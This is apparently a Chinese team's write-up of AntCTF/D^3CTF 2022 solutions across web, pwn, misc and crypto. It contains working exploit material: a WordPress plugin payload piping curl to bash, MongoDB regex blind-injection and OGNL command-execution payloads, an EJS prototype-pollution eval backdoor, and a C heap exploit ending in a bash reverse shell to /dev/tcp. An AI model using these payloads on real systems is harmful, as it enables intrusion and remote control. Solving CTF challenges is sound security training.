AntCTF & Dˆ3CTF 2022 By W&M
综述
欢迎各方向师傅加入我们! 请发简历到ctf@whitecap100.org 我们会及时联系您
WEB
shorter
https://c014.cn/blog/java/ROME/ROME%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html
把POP直接塞进工具。去掉异常处理就行
NewestWordPress
找了一下最近的一些插件漏洞,然后一个一个测试插件是不是存在
找到了php-everywhere
http://d3wordpress.d3ctf-challenge.n3ko.co/wp-content/plugins/php-everywhere/
下2.0.3版本的。本地搭个userswp环境。。评论触发
管理员直接[php_everywhere]
加代码就能触发
普通用户不能出现?>
。带?>
就不执行。只能注释执行
g[php_everywhere]<?php system("curl ip|bash");//[/php_everywhere]789
弹个shell。ps -ef发现没mysql。
估计类似docker那种端口映射。flag在另一台mysql上。
写个webshell。调用php的mysqli。然后写udf。rce
d3fGo
fgo 里搜/api搜到/api/Admini/Login。
fgo 里搜*struct 搜到seeecret字段。
粗略查看/api/Admini/Login的逻辑,如果提交的数据有seeecret字段 则mongodb查询参数是username password seeecret三个字段,否则是username password 两个字段。
seeecret字段 mongodb布尔盲注出flag。
/api/Admini/Login
*struct { Username interface {} \"json:\\\"username\\\"\"; Password interface {} \"json:\\\"password\\\"\"; Seeecret interface {} \"json:\\\"seeecret\\\"\" }
exp
import requests
import string,re
ip = "http://7b470ec8f6.fgo-d3ctf-challenge.n3ko.co"
proxies = {}
def main():
flag = ""
while 1:
for i in string.printable:
t = flag + re.escape(i)
resp = requests.post(ip + "/api/Admini/Login",json={
"username":{"$ne":"123"},"password":{"$ne":"123"},
"seeecret":{"$regex":"^"+t}
},proxies=proxies)
if resp.status_code == 200:
flag = t
print(flag)
break
main()
ezsql
是一个mybatis-3.5.9.jar
有比较明显的注入点
根据题目要求 需要Rce 猜测反序列化 & 表达式注入 ,附件给的依赖基本没有可以打反序列化的。考虑ssti
测试发现使用${1+1}
api接口返回了vote_id
为2的数据,因为少了new关键字,采用反射执行命令
根据网上已有的el表达式
${pageContext.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("whoami")}
发现并不能成功执行
debug发现
mybatis中自带了OGNL的waf 即遇到Runtime.exec直接抛出异常。则换了一种反射
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"whoami"))}
依旧不可以执行。debug发现报错数组越界
之后的思路就在调试反射了。最后发现为什么不能用OGNL的语法呢? 查了一下
${(#clss = #this.getClass().forName("java.lang.Runtime")).(#getme = #clss.getDeclaredMethods().{^ #this.name.equals("getRuntime")\\}[0]).(#result = #getme.invoke(null,null)).(#execu = #clss.getDeclaredMethods().{? #this.name.equals("exec")\\}.{? #this.getParameters()[0].getType().getName().equals("java.lang.String")\\}.{? #this.getParameters().length < 2\\}[0]).(#execu.invoke(#result,"sh /tmp/ha1"))}
就可以了
整体调用栈如下
exec:312, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
invokeMethodInsideSandbox:1245, OgnlRuntime (org.apache.ibatis.ognl)
invokeMethod:1230, OgnlRuntime (org.apache.ibatis.ognl)
callAppropriateMethod:1962, OgnlRuntime (org.apache.ibatis.ognl)
callMethod:68, ObjectMethodAccessor (org.apache.ibatis.ognl)
callMethod:2038, OgnlRuntime (org.apache.ibatis.ognl)
getValueBody:97, ASTMethod (org.apache.ibatis.ognl)
evaluateGetValueBody:212, SimpleNode (org.apache.ibatis.ognl)
getValue:258, SimpleNode (org.apache.ibatis.ognl)
getValueBody:141, ASTChain (org.apache.ibatis.ognl)
evaluateGetValueBody:212, SimpleNode (org.apache.ibatis.ognl)
getValue:258, SimpleNode (org.apache.ibatis.ognl)
getValue:586, Ognl (org.apache.ibatis.ognl)
getValue:550, Ognl (org.apache.ibatis.ognl)
getValue:46, OgnlCache (org.apache.ibatis.scripting.xmltags)
handleToken:77, TextSqlNode$BindingTokenParser (org.apache.ibatis.scripting.xmltags)
parse:77, GenericTokenParser (org.apache.ibatis.parsing)
apply:51, TextSqlNode (org.apache.ibatis.scripting.xmltags)
getBoundSql:39, DynamicSqlSource (org.apache.ibatis.scripting.xmltags)
getBoundSql:157, ProviderSqlSource (org.apache.ibatis.builder.annotation)
getBoundSql:305, MappedStatement (org.apache.ibatis.mapping)
query:87, CachingExecutor (org.apache.ibatis.executor)
selectList:151, DefaultSqlSession (org.apache.ibatis.session.defaults)
selectList:145, DefaultSqlSession (org.apache.ibatis.session.defaults)
selectList:140, DefaultSqlSession (org.apache.ibatis.session.defaults)
selectOne:76, DefaultSqlSession (org.apache.ibatis.session.defaults)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
invoke:427, SqlSessionTemplate$SqlSessionInterceptor (org.mybatis.spring)
selectOne:-1, $Proxy56 (com.sun.proxy)
selectOne:160, SqlSessionTemplate (org.mybatis.spring)
execute:87, MapperMethod (org.apache.ibatis.binding)
invoke:145, MapperProxy$PlainMethodInvoker (org.apache.ibatis.binding)
invoke:86, MapperProxy (org.apache.ibatis.binding)
getVoteById:-1, $Proxy61 (com.sun.proxy)
getDetailedVoteById:62, VoteService (club.example.demo.service)
getDetailedVoteById:46, VoteController (club.example.demo.controller)
d3oj
yarn audit 一下
┌───────────────┬──────────────────────────────────────────────────────────────┐
│ critical │ SQL Injection and MAID in TypeORM │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Package │ typeorm │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Patched in │ >=0.2.25 │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Dependency of │ typeorm │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Path │ typeorm │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ More info │ https://www.npmjs.com/advisories/1028616 │
└───────────────┴──────────────────────────────────────────────────────────────┘
typeorm版本太老了,直接原型链打ejs就行了
POC
POST http://550284c52d.d3oj-d3ctf-challenge.n3ko.co/article/0/edit
{"title":"qqq","content":{"__proto__":{"outputFunctionName":"ee;app.use('/yoshinos',(q,r)=>r.end(eval(q.body.c)));//"}}}
注册一个后门路由,然后就RCE了
登录另一个账户 就获得flag
Pwn
d3fuse
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
char buffer[0x1000];
struct context{
char filename[0x20];
int isDirectories;
int size;
struct context *list;
}fake_context[4];
int main()
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
for (int i = 0; i < 0x50; i++)
{
sprintf(buffer, "echo 'wjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjhwjha' > /mnt/chunk%d", i);
system(buffer);
}
system("touch /mnt/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbccccdddd\xE8\x50\x40");
system("mv /mnt/chunk48 /mnt/a");
system("mv /mnt/chunk49 /mnt/b");
system("mv /mnt/chunk50 /mnt/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\xFF\x03");
system("mv /mnt/chunk51 /mnt/c");
system("mv /mnt/chunk52 /mnt/d");
int fd = open("/mnt/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\xFF\x03", O_RDONLY);
if (fd < 0)
{
perror("open1");
return 0;
}
int size = read(fd, buffer, sizeof(buffer));
if (size < 0)
{
perror("read1");
return 0;
}
close(fd);
unsigned long long leak_heap_addr = *(unsigned long long *)&buffer[0];
printf("[+] leak_heap_addr: %p\n", (void *)leak_heap_addr);
unsigned long long free_got = 0x0000000000405018;
unsigned long long strcmp_got = 0x0000000000405050;
fake_context[0].size = 0x20;
sprintf(fake_context[0].filename, "exp0");
fake_context[0].isDirectories = 0;
fake_context[0].list = (struct context*)free_got;
fake_context[1].size = 0x20;
sprintf(fake_context[1].filename, "exp1");
fake_context[1].isDirectories = 0;
fake_context[1].list = (struct context*)strcmp_got;
fake_context[2].size = 0x20;
fake_context[2].isDirectories = 0;
fake_context[2].list = (struct context*)strcmp_got;
sprintf(fake_context[2].filename, "/bin/bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'");
printf("[+] write fake context\n");
fd = open("/mnt/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\xFF\x03", O_WRONLY);
if (fd < 0)
{
perror("open2");
return 0;
}
size = write(fd, &fake_context, sizeof(fake_context));
if (size < 0)
{
perror("write2");
return 0;
}
close(fd);
printf("[+] write global context\n");
unsigned long long write_addr = leak_heap_addr + 0x3a0;
fd = open("/mnt/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", O_WRONLY);
if (fd < 0)
{
perror("open3");
return 0;
}
size = write(fd, &write_addr, sizeof(write_addr));
if (size < 0)
{
perror("write3");
return 0;
}
close(fd);
printf("[+] leak got@free\n");
fd = open("/mnt/exp0", O_RDONLY);
if (fd < 0)
{
perror("open4");
return 0;
}
size = read(fd, buffer, 8);
if (size < 0)
{
perror("read4");
return 0;
}
close(fd);
unsigned long long libc_leak = *(unsigned long long *)buffer;
printf("[+] got@free leak: %p\n", (void *)libc_leak);
unsigned long long libc_base = libc_leak - 0x9a700; //0x9d850
printf("[+] libc_base: %p\n", (void *)libc_base);
unsigned long long system = libc_base + 0x522c0; //0x55410;
printf("[+] system: %p\n", (void *)system);
printf("[+] write got@strcmp\n");
fd = open("/mnt/exp1", O_WRONLY);
if (fd < 0)
{
perror("open5");
return 0;
}
size = write(fd, &system, 8);
if (size < 0)
{
perror("write5");
return 0;
}
printf("[+] RCE\n");
open("/mnt/rce", O_WRONLY);
}
d3kheap
在 tmp 目录有 exp,进行适当修改后,可以打通远程靶机
Misc
OHHHH!!! SPF!!!
#using: kali 2021
#直接在kali/debian 的网络连接里新建L2TP V*N 连接 就行。ubuntu也有这个界面,但是连上以后分配不出IPV6,不行。。。
#debian/ubuntu 安装这三个包 kali自带了
apt-get install network-manager-l2tp
apt-get install network-manager-l2tp-gnome
apt-get install wireshark
#kali源移除了quagga debian10的源里有quagga 所以 在kali里导入一个debian10的源
echo 'deb http://mirrors.aliyun.com/debian/ buster main contrib non-free' >> /etc/apt/sources.list
apt update
apt install quagga
#zebra 默认配置
cp /usr/share/doc/quagga-core/examples/zebra.conf.sample /etc/quagga/zebra.conf
#ospf6d 配置
cat >/etc/quagga/ospf6d.conf << EOF
!
! Zebra configuration saved from vty
! 2003/11/28 00:49:49
!
hostname ospf6d@plant
password zebra
log stdout
service advanced-vty
!
debug ospf6 neighbor state
!
interface ppp0
ipv6 ospf6 cost 1
ipv6 ospf6 hello-interval 10
ipv6 ospf6 dead-interval 40
ipv6 ospf6 retransmit-interval 5
ipv6 ospf6 priority 0
ipv6 ospf6 transmit-delay 1
ipv6 ospf6 instance-id 0
!
router ospf6
router-id 114.51.41.91
redistribute static route-map static-ospf6
interface ppp0 area 0.0.0.0
!
EOF
service zebra start
service ospf6d start
#然后wireshark 抓ppp0 的包 即可
看到数据包里有flag字符串。
#!python2
datas = [
"b9a764336374667b3472655f794fb7a2",
"cfb2755f615f6e33747730526b5fcfd6",
"ccf46d40357433525f694e5f5930c1cb",
"d5bd75725f3733614d5f77486f5fc3d8",
"d5df6b6e3077355f307370463f7dc3dc",
"20536134406c75746520536f68612120"]
for i in datas:
print i.decode("hex")
恭d3ctf{4re_yO发
喜u_a_n3tw0Rk_现
挑m@5t3R_iN_Y0了
战ur_73aM_wHo_秘
者kn0w5_0spF?}密
Sa4@lute Soha!
d3ctf{4re_yOu_a_n3tw0Rk_m@5t3R_iN_Y0ur_73aM_wHo_kn0w5_0spF?}
Badw3ter
下载附件得到一个wav文件,无法播放,winhex打开可知文件头有误。
首先修改文件头修复wav文件,修改如下:
根据题目描述 deeper and deeper,可知是deepsound,deepsound解密需要一个key,原始文件错误文件头正好有明文部分,得到密码:
CUY1nw31lai
解得一张 flag.png
保存下来发现是一副二维码,ps打开不了,file一下可知是tif文件,修改后缀名为tif
用PS打开发现有两个图层,且可以看出二维码有两种灰度的颜色,像是一张二维码叠着一张二维码,幻影坦克的操作。
修改曝光度到最低,即可得到另一张二维码
扫码即可得到flag:
D3CTF{M1r@9e_T@nK_1s_Om0sh1roiii1111!!!!!Isn't_1t?}
WannaWacca
内存取证,找到勒索软件SmartFalcon.exe
找到ip 114.116.210.244
然后去流量包里找
把软件提取一下,看一下流量是gob,且存在直接dec的包,构造一下,改个ip,发包
package main
import (
"bytes"
"encoding/gob"
"encoding/hex"
)
type Code struct {
Msg string
}
type Message struct {
Id string
Code [4]uint8
Msg string
}
func main() {
n := Message{
Id: "",
Code: [4]uint8{0, 0, 0, 4},
Msg: "dec flag.zip.WannaWacca -----BEGIN RSA PRIVATE KEY-----\nMIICXQIBAAKBgQDJFsTzQQX2hVlNxP0djx4Fv1y/A5msFx+k1ivELtqolm4LPNw9\n9bC59lNVSbLfBxY+w2pjoCOFgTcaECJkIox1q63lQ33fveYCXrSOuW6dECoKZsKP\nupnerPobr3V/TKcE33UE4JXAZpVO0kLmXjCAqIvzRaLGHRnTLH/Wfy9VKQIDAQAB\nAoGAF39LoEkW00mdt9Ku6QdSMMW9pqxbBprlHbPRBWmcL1r0nOeNrMfK0NARyMOF\n3T3MwaTAB8gsnmsM70S3YBARbXGKN0N33qWoNFkzOdoMLuPFrhJmV7OcTP+B3pYq\nztAyK6PdanM5RTG+WOhJy+JOaEKmAGkgcZcLNGooff8iGckCQQDoLTzNPSA55i15\nhPbpFnf3C/vL5A5zPkeMc5MmYXd0SuRD4tpOMrVs8b/umUne4lHk9cN2E20QIH5W\nE8dTlWAvAkEA3bjtAItswtFMUuoXmqfxN7grnmYXCur7FiItEn331R4nwqXP5Aez\nW2ag63Yf7+KFpPT0zdwk2gBensQKGgOyJwJBAJ0OxPudZuhj0c1Lae+BOIPRAnMJ\ngdDph2L2Z8tl0XXEl6dolP6jBOF+o7RW04bHmFiG+8MrHvLy2COIW6Up/hcCQQCB\nxJsJ55BnUYI/QP1Bqit29hapZYz0+eSs5qHEoe9sT3Lr7IoJJyylQSLLzN4SU1zu\n1+NznPYAlZjLiWd0JFefAkAg93pETCaJdkWS/uZT/5Cd4aQnv7gnTY0ZwrydrLat\nbO3T6yHnNlewQxfbkBZqJnSlwDeAWoq0P68vqY1JUcVE\n-----END RSA PRIVATE KEY-----\n\n",
}
buf := bytes.Buffer{}
_ = gob.NewEncoder(&buf).Encode(n)
b := buf.Bytes()
println(hex.EncodeToString(b))
}
import socket
import pygob
import binascii
payload = "2eff81030101074d65737361676501ff8200010301024964010c000104436f646501ff840001034d7367010c00000018ff83010101085b345d75696e743801ff8400010601080000fe039dff8202040000000401fe039064656320666c61672e7a69702e57616e6e615761636361202d2d2d2d2d424547494e205253412050524956415445204b45592d2d2d2d2d0a4d4949435851494241414b426751444a4673547a5151583268566c4e785030646a7834467631792f41356d7346782b6b316976454c74716f6c6d344c504e77390a39624335396c4e5653624c664278592b7732706a6f434f466754636145434a6b496f78317136336c51333366766559435872534f7557366445436f4b5a734b500a75706e6572506f627233562f544b634533335545344a58415a70564f306b4c6d586a43417149767a52614c4748526e544c482f57667939564b514944415141420a416f47414633394c6f456b5730306d6474394b75365164534d4d5739707178624270726c4862505242576d634c3172306e4f654e724d664b304e4152794d4f460a3354334d77615441423867736e6d734d37305333594241526258474b4e304e333371576f4e466b7a4f646f4d4c75504672684a6d56374f6354502b42337059710a7a7441794b365064616e4d355254472b574f684a792b4a4f61454b6d41476b67635a634c4e476f6f6666386947636b435151446f4c547a4e50534135356931350a68506270466e6633432f764c3541357a506b654d63354d6d59586430537552443474704f4d72567338622f756d556e65346c486b39634e3245323051494835570a453864546c574176416b454133626a74414974737774464d55756f586d7166784e3767726e6d59584375723746694974456e33333152346e777158503541657a0a5732616736335966372b4b46705054307a64776b326742656e73514b47674f794a774a42414a304f785075645a75686a3063314c61652b424f495052416e4d4a0a6764447068324c325a38746c305858456c36646f6c50366a424f462b6f375257303462486d4669472b384d7248764c7932434f49573655702f686343515143420a784a734a3535426e5559492f5150314271697432396861705a597a302b655373357148456f65397354334c7237496f4a4a79796c51534c4c7a4e345355317a750a312b4e7a6e5059416c5a6a4c695764304a466566416b4167393370455443614a646b57532f755a542f3543643461516e7637676e5459305a77727964724c61740a624f33543679486e4e6c6577517866626b425a714a6e536c77446541576f7130503638767159314a556356450a2d2d2d2d2d454e44205253412050524956415445204b45592d2d2d2d2d0a0a00"
s = socket.socket()
s.bind(('', 53939))
s.listen(5)
while True:
c, addr = s.accept()
m = c.recv(1024)
m = pygob.load(m)
c.send(binascii.unhexlify(payload))
然后就解出来了,提示plain,用png头做部分明文攻击
命令:.\rbkcrack.exe -C .\0flag.zip -c 123.png -p .\011.png (其中,011.png是png文件头)
得到key以后,解密即可
这个图一看就是
https://github.com/DavidBuchanan314/ambiguous-png-packer
生成的
找了一台IOS14的设备搞了另一半出来
后来写了个脚本分离
from PIL import Image
import struct
import zlib
import enc
f = open("1211.png", "rb")
PNG_MAGIC = b"\x89PNG\r\n\x1a\n"
def remove_head(a: bytes, b: bytes):
assert a.startswith(b), a[:len(b)]
return a[len(b):]
def remove_tail(a: bytes, b: bytes):
assert a.endswith(b), b + b"!=" + a[-len(b):]
return a[:-len(b)]
def read_png_chunk(stream):
length = int.from_bytes(stream.read(4), "big")
name = stream.read(4)
body = stream.read(length)
crc = int.from_bytes(stream.read(4), "big")
assert crc == zlib.crc32(body, zlib.crc32(name))
return name, body
def deapply_filter(filtered: bytes, width: int) -> bytes:
stride = width * 3 + 1
result = b""
for i in range(0, len(filtered), stride):
result += filtered[i + 1:i + stride]
assert filtered[0] == 0
return result
assert(f.read(8) == PNG_MAGIC)
# IHDR
name, body = read_png_chunk(f)
assert(name == b"IHDR")
width = int.from_bytes(body[:4], "big")
height = int.from_bytes(body[4:8], "big")
assert int.from_bytes(body[8:9], "big") == 8
assert int.from_bytes(body[9:10], "big") == 2
assert int.from_bytes(body[10:11], "big") == 0
assert int.from_bytes(body[11:12], "big") == 0
assert int.from_bytes(body[12:13], "big") == 0
assert len(body) == 13
# iDOT
name, body = read_png_chunk(f)
assert(name == b"iDOT")
height_division = int.from_bytes(body[:4], "big")
assert int.from_bytes(body[4:8], "big") == 0
assert int.from_bytes(body[8:12], "big") == 1
idot_size = int.from_bytes(body[12:16], "big")
assert idot_size == 24 + 8 * 2
assert int.from_bytes(body[16:20], "big") == 1
second_height = int.from_bytes(body[20:24], "big")
height = second_height + 1
offset = int.from_bytes(body[24:28], "big")
first_offset = offset - idot_size
assert len(body) == 28
# IDAT a
name, body = read_png_chunk(f)
assert(name == b"IDAT")
assert len(body) + 12 == first_offset
a = body
# IDAT b
name, body = read_png_chunk(f)
assert(name == b"IDAT")
b = body
# IEND
name, body = read_png_chunk(f)
assert(name == b"IEND")
assert len(body) == 0
f.close()
TARGET_SIZE = (width*3) + 1
assert a == b"\x78\xda" + \
enc.verbatim(bytes(TARGET_SIZE)) + enc.verbatim(bytes(TARGET_SIZE))[:5]
MSG1 = b""
MSG2 = b""
adler32_value = int.from_bytes(b[-4:], "big")
b = b[:-4]
b = remove_tail(b, enc.verbatim(b"", last=True))
b = remove_tail(b, enc.verbatim(b""))
b += enc.verbatim(bytes(TARGET_SIZE))[:5]
while b != b'':
acomp = enc.decompress_headerless(b[:TARGET_SIZE-5])
b = b[TARGET_SIZE-5:]
b = remove_head(b, enc.verbatim(bytes(TARGET_SIZE))[:5])
MSG1 += acomp
bcomp = enc.decompress_headerless(b[:TARGET_SIZE-5])
b = b[TARGET_SIZE-5:]
b = remove_head(b, enc.verbatim(bytes(TARGET_SIZE))[:5])
MSG2 += bcomp
appleimg = deapply_filter(MSG1, width)
worldimg = deapply_filter(MSG2, width)
apple = Image.new("RGB", (width, height-1))
apple.frombytes(appleimg.ljust(width*3*(height-1), b"\x00"))
apple.save("apple.png")
world = Image.new("RGB", (width, height-1))
world.frombytes(worldimg.ljust(width*3*(height-1), b"\x00"))
world.save("world.png")
然后图的角落里有黑白,结合图片名字I can't see any light
猜测是盲文
继续盲文
from PIL import Image
asciicodes = [' ', '!', '"', '#', '$', '%', '&', '', '(', ')', '*', '+', ',', '-', '.', '/',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q',
'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '[', '\\', ']', '^', '_']
brailles = ['⠀', '⠮', '⠐', '⠼', '⠫', '⠩', '⠯', '⠄', '⠷', '⠾', '⠡', '⠬', '⠠', '⠤', '⠨', '⠌', '⠴', '⠂', '⠆', '⠒', '⠲', '⠢',
'⠖', '⠶', '⠦', '⠔', '⠱', '⠰', '⠣', '⠿', '⠜', '⠹', '⠈', '⠁', '⠃', '⠉', '⠙', '⠑', '⠋', '⠛', '⠓', '⠊', '⠚', '⠅',
'⠇', '⠍', '⠝', '⠕', '⠏', '⠟', '⠗', '⠎', '⠞', '⠥', '⠧', '⠺', '⠭', '⠽', '⠵', '⠪', '⠳', '⠻', '⠘', '⠸']
def trans(x):
idx = 0
r = ''
while idx < len(x):
c = x[idx]
idx += 1
if c == '⠼':
c = x[idx]
n = '⠚⠁⠃⠉⠙⠑⠋⠛⠓⠊'
c = chr(ord('0') + n.index(c))
idx += 1
if c == '⠠':
c = x[idx]
c = asciicodes[brailles.index(c)].upper()
idx += 1
elif c in brailles:
c = asciicodes[brailles.index(c)]
r += c
return r
apple = Image.open("apple.png")
# apple.crop((1760, 1043, 1920, 1046)).save("apple_crop.png")
r = ""
for y in range(1043, 1046, 3):
for x in range(1760, 1920, 2):
l = ""
for _x in range(2):
for _y in range(3):
l = str(int(apple.getpixel((x + _x, y + _y))
== (255, 255, 255))) + l
r += chr(10240 + int(l[::-1], 2))
print(trans(r[::-1]))
apple.close()
world = Image.open("world.png")
# world.crop((0, 9, 1920, 21)).save("world_crop.png")
r = ""
for y in range(9, 21, 3):
for x in range(0, 1920, 2):
l = ""
for _x in range(2):
for _y in range(3):
l = str(int(world.getpixel((x + _x, y + _y))
== (255, 255, 255))) + l
r += chr(10240 + int(l, 2))
print(z:=trans(r.strip('⠀')))
import binascii
with open("r.zip", "wb") as f:
f.write(binascii.unhexlify(z))
一个是压缩包,出来一段txt
另一个是base64 VGV4dF9ibGluZF93YXRlcm1hcmsgcHdkIGlzOiBSQHkwZjEhOWh0
Text_blind_watermark pwd is: R@y0f1!9ht
找一下这个工具跑一下
from text_blind_watermark import embed, extract
password = "R@y0f1!9ht"
with open("Future will lead.txt", "r") as f:
data = f.read()
print(extract(data, password))
没了
SignIn
签到
Survey
问卷
Crypto
d3factor
$e1*e2(d1-d2)=e1-e2 \quad mod \quad N$
$f(x)=e1*e1*x-e2+e1的解为d1-d2$
用sage下的方程求解即可
from gmpy2 import*
c = 2420624631315473673388732074340410215657378096737020976722603529598864338532404224879219059105950005655100728361198499550862405660043591919681568611707967
N = 1476751427633071977599571983301151063258376731102955975364111147037204614220376883752032253407881568290520059515340434632858734689439268479399482315506043425541162646523388437842149125178447800616137044219916586942207838674001004007237861470176454543718752182312318068466051713087927370670177514666860822341380494154077020472814706123209865769048722380888175401791873273850281384147394075054950169002165357490796510950852631287689747360436384163758289159710264469722036320819123313773301072777844457895388797742631541101152819089150281489897683508400098693808473542212963868834485233858128220055727804326451310080791
e1 = 425735006018518321920113858371691046233291394270779139216531379266829453665704656868245884309574741300746121946724344532456337490492263690989727904837374279175606623404025598533405400677329916633307585813849635071097268989906426771864410852556381279117588496262787146588414873723983855041415476840445850171457530977221981125006107741100779529209163446405585696682186452013669643507275620439492021019544922913941472624874102604249376990616323884331293660116156782891935217575308895791623826306100692059131945495084654854521834016181452508329430102813663713333608459898915361745215871305547069325129687311358338082029
e2 = 1004512650658647383814190582513307789549094672255033373245432814519573537648997991452158231923692387604945039180687417026069655569594454408690445879849410118502279459189421806132654131287284719070037134752526923855821229397612868419416851456578505341237256609343187666849045678291935806441844686439591365338539029504178066823886051731466788474438373839803448380498800384597878814991008672054436093542513518012957106825842251155935855375353004898840663429274565622024673235081082222394015174831078190299524112112571718817712276118850981261489528540025810396786605197437842655180663611669918785635193552649262904644919
a=(e2-e1)*invert(e1*e2,N)
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
f = x-a
x0 = f.small_roots(X=2^1000, beta=0.4)
print(x0[0])
d_d=1476751427633071977599571983301151063258376731102955975364111147037204614220376883752032253407881568290520059515340434632858734689439268479399482315506043425541162646523388437842149125178447800616137044219916586942207838674001004007237861470176454543718752182312318068466051713087927370670177514666860822341380494148050832401609562069841131611670608508889564903156115171543356434938854665775998209034026454583918190592316542096833683522232732078346945883792128428219017665904611238598515356080299964332522186719141840239751107772675611703424971072329706974374008179321418610378586680426547416872428073384036373775613
p=(gcd(d_d*e1*e2-(e2-e1),N))
N = 1476751427633071977599571983301151063258376731102955975364111147037204614220376883752032253407881568290520059515340434632858734689439268479399482315506043425541162646523388437842149125178447800616137044219916586942207838674001004007237861470176454543718752182312318068466051713087927370670177514666860822341380494154077020472814706123209865769048722380888175401791873273850281384147394075054950169002165357490796510950852631287689747360436384163758289159710264469722036320819123313773301072777844457895388797742631541101152819089150281489897683508400098693808473542212963868834485233858128220055727804326451310080791
P=302041005420039804788837973713898327221537364540217123524277085489425015387406302827931741511110799839253993542589980437030294737549654496720894473925249726898113670841165053274897225331487693822448903890664321018179858685020471572484115220669783927170647297629616743131628132318835058700355916820746650505209238111625956099990183829787016000154371928717007922683297772484179270642107118214144502646097942422343431687478702790785714060858198343943546186776012201
p=iroot(P,6)[0]
q=N//p**7
c = 2420624631315473673388732074340410215657378096737020976722603529598864338532404224879219059105950005655100728361198499550862405660043591919681568611707967
phi=(p-1)*(q-1)
d=invert(65537,phi)
msg=(long_to_bytes(pow(c,d,p*q)))
flag = 'd3ctf{'+md5(msg).hexdigest()+'}'
print(flag)
d3bug
xor模式下可以从输出推出message的前34位
剩下的30位解矩阵方程即可
from Crypto.Util.number import *
import numpy as np
mask = '1010010000001000000010001001010010100100000010000000100010010100'
xor_output = '00100110001000110001101010101001001'
and_output = '01111101111010111000010010111001101'
message = ''
for i in range(1,35):
message += str(int(xor_output[i]))
c=[]
for i in range(64):
l=[0]*64
if(i==0):
l[-1]=int(mask[i])
else:
l[-1]=int(mask[i])
l[i-1]=1
c.append(l)
c=matrix(GF(2),c)
c=c**30
c=list(c)
a=[]
for i in range(34):
a.append(c[i][-30:])
a=matrix(GF(2),a)
m1=[int(i) for i in message]
m1=matrix(GF(2),m1)
and_output=and_output[:-5]
r=[int(i) for i in and_output]
r=matrix(GF(2),r)
k=30
r=r-(m1*a)
A=[]
for i in range(64-k,64):
A.append(c[i][-k:])
A=matrix(GF(2),A)
res=(r*A**-1)
for i in res[0]:
message+=str(i)
m1=[int(i) for i in message]
m1=matrix(GF(2),m1)
c=matrix(GF(2),c)
r=m1*c
print(long_to_bytes(int(message,2)))
d3qcg
二元copper
from Crypto.Util.number import *
from gmpy2 import *
import hashlib
a = 3591518680290719943596137190796366296374484536382380061852237064647969442581391967815457547858969187198898670115651116598727939742165753798804458359397101
c = 6996824752943994631802515921125382520044917095172009220000813718617441355767447428067985103926211738826304567400243131010272198095205381950589038817395833
